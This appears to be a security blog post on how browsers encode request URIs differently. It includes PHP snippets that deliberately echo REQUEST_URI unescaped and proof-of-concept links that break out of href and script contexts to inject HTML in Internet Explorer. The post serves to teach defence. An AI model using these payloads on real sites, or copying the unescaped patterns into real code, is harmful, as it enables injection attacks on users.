In a web application program code often are used parameters REQUEST_URI to present current URL or QUERY_STRING to present current query GET parameters. Usually those parameters are nicely converted to URL encoding and it may seem safe to use them directly in HTML document or SQL query. But "usually" does not mean "always".

Browsers autocorrect incorrect URL values in HTML

Typical place for URL content in HTML document are in src and href parameters.

Lets take one piece of code and see how different browsers behave with it.

<html>
<body>
<pre>
<?php
echo 'GET ', (isset($_GET['poc']) ? $_GET['poc'] :''), PHP_EOL;
echo 'QUERY_STRING ', $_SERVER['QUERY_STRING'], PHP_EOL;
?>
</pre>
<a href='?poc=<b>"tags test"</b>'>PoC link</a>
</body>
</html>

To point out in this code-snippet - href parameter for PoC link is not correctly URL-encoded.

<a href='?poc=<b>"tags test"</b>'>PoC link</a>

Value for href:

?poc=<b>"tags test"</b>

Correct value for href should be:

?poc=%3cb%3e%22tags%20test%22%3c%2fb%3e

Chrome, FireFox, Opera, Safari

Tested with Chrome 47 and Firefox 43 on Ubuntu 14.04, Opera 37 on Windows 7 and Safari 9.1 on OS X 10.11.4.

<pre>
GET <b>"tags test"</b>
QUERY_STRING poc=%3Cb%3E%22tags%20test%22%3C/b%3E
</pre>

Congratulations! Many browsers are able to produce correct URL encoded string from your crappy HTML.

MS Internet Explorer

Tested on Windows 7 + Internet Explorer 11

<pre>
GET <b>"tags test"</b>
QUERY_STRING poc=<b>"tags%20test"</b>
</pre>

Oh, wow. What's that? Only space sign is URL encoded to %20.

MS Edge

Tested on Windows 10 + Edge

<pre>
GET <b>"tags test"</b>
QUERY_STRING poc=<b%3E%22tags%20test%22</b%3E
</pre>

Eem. This one is really weird. Or should I just say "written in MS way"? Some characters are URL encoded (>, ") and some not (<). From Reflected XSS point of view, probably this choice of symbols is to avoid creating new HTML tags and/or parameters.

What to conclude

In HTML document there was URL in incorrect format:

<a href='?poc=<b>"tags test"</b>'>PoC link</a>

Clicking that link handles GET parameter the same way by every browser. Value for "poc" in the server was:

<b>"tags test"</b>

For QUERY_STRING (or for REQUEST_URI) MS browsers behave a bit differently:

  • Most of browsers (Chrome, Firefox, Opera, Safari):

    poc=%3Cb%3E%22tags%20test%22%3C/b%3E
    
  • MS Internet Explorer:

    poc=<b>"tags%20test"</b>
    
  • MS Edge:

    poc=<b%3E%22tags%20test%22</b%3E
    

Request URI for attackers

It's just an userinput. Like a usual text-field on a HTML page. In a good-case-scenario you'll have nice url-encoded Request URI. But attackers don't use good-case-scenarios.

If to use command line tools like curl or wget, proxys like BurpSuite, there is no "browser autocorrect" in place and attacker can send whatever value to the server.

Just some examples how you can shoot to your leg with expecting Request URI parameter to be in correct URL encoding:

  • SQL injection - when you build dynamically SQL sentence and you expect Request URI to be correctly URL encoded (you don't expect any ' or " signs there). For example, storing last request URL to visit logs.
  • Stored XSS - when you store Request URI or Query String to server side and later display it back to users in HTML document - you don't expect any HTML symbols. For example, some visit logs again.
  • Reflected XSS - when you build dynamically HTML page and you show there current URL Request URI or Query String parameter. Usually it happens in some href or src parameters, in hidden fields or in JavaScript context. It's easy to detect it, but since Browsers autocorrect URL values, it's a bit complicated for attacker to build attack for victim browser.

Reflected XSS + Internet Explorer

Reflected XSS is possible with MS Internet Explorer. With MS Edge it's easy to break output document, but not that easy to get benefit as attacker. I'm not saying that it is impossible. I just don't know immediately how to do that.

Limitations and restrictions in this case:

  • Built in XSS filter in Internet Explorer. Probably it may be possible to bypass XSS filter, I just don't know how;
    • It is not too easy to execute script or load 3rd party content (images, iframes)
  • Attacker can not use "space" in payload, because it's URL encoded to %20.
    • Basically it makes quite hard to write HTML - can not use HTML tags with parameters

XSS is a bad name, because it does not describe the real problem. In this example let's divide XSS to HTML injection and JavaScript injection.

Request URI presented in HTML context

Example 1: PHP code for page

<html>
<body>
<a href="<?php echo $_SERVER['REQUEST_URI']; ?>">Request URI</a>
</body>
</html>

Limitations: no spaces in payload, which means that I can not use HTML element attributes.

Proof-of-Concept payload:

"></a>
<asd>Reflected&nbsp;HTML&nbsp;injection&nbsp;without&nbsp;using&nbsp;space</asd>
<style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style>
<asd"

Explanation:

  • "> - user input was in <a> element and in href parameter, " mark finishes the value parameter and > closes opened <a tag;
  • </a> - I don't want to present my HTML inside <a> tag, so I close it;
  • <asd> - I just created some dummy tag;
  • &nbsp; - I can present "space" visually in HTML document using HTML special symbols for space;
  • <style> - because I can not use spaces in HTML code itself, I can not create style parameter for "asd" tag. So I declare styles with separate style tag. Which means that I don't need to use space;
  • <asd" - just to close my injection code nicely.

Proof-of-Concept malicious link:

<a href='?parameter="></a><asd>Reflected&nbsp;HTML&nbsp;injection&nbsp;without&nbsp;using&nbsp;space</asd><style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style><asd"'>malicious link</a>

Visual output:

Reflected XSS / HTML injection with Internet Explorer

Proof-of-Concept file content:

<html>
<body>
<a href="<?php echo $_SERVER['REQUEST_URI']; ?>">Request URI</a>

<a href='?parameter="></a><asd>Reflected&nbsp;HTML&nbsp;injection&nbsp;without&nbsp;using&nbsp;space</asd><style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style><asd"'>malicious link</a>
</body>
</html>

Request URI presented in JavaScript context

<html>
<body>
<script>
var url = '<?php echo $_SERVER['REQUEST_URI']; ?>';
</script>
</body>
</html>

Proof-of-Concept payload:

</script>
<asd>Reflected&nbsp;HTML&nbsp;injection&nbsp;without&nbsp;using&nbsp;space</asd>
<style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style>
<asd"

Explanations:

  • </script> - userinput is displayed inside script tag in string. If attacker can put script end tag to the string as plain text, then HTML language and script end tag is priority over script syntax rules.

Script end tag is priority

Rest of payload is the same like in previous example.

Proof-of-Concept malicious link:

<a href='?</script><asd>out&nbsp;from&nbsp;script&nbsp;tag</asd><style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style>'>malicious link</a>

Visual output:

Reflected XSS / JavaScript injection with Internet Explorer

PHP code for given example:

<html>
<body>
<script>
var url = '<?php echo $_SERVER['REQUEST_URI']; ?>';
</script>
<a href='?</script><asd>out&nbsp;from&nbsp;script&nbsp;tag</asd><style>asd{background-color:red;color:white;padding:20px;font-size:20px;}</style>'>malicious link</a>
</body>
</html>

Suggestions

For functionality you need to use correct URL encoding for URLs in HTML document. Otherwise it becomes "hope management": you hope, that browsers are going to fix your crap.

For security you just need to handle Request URI and Query String as plain text malicious string.


Comments

comments powered by Disqus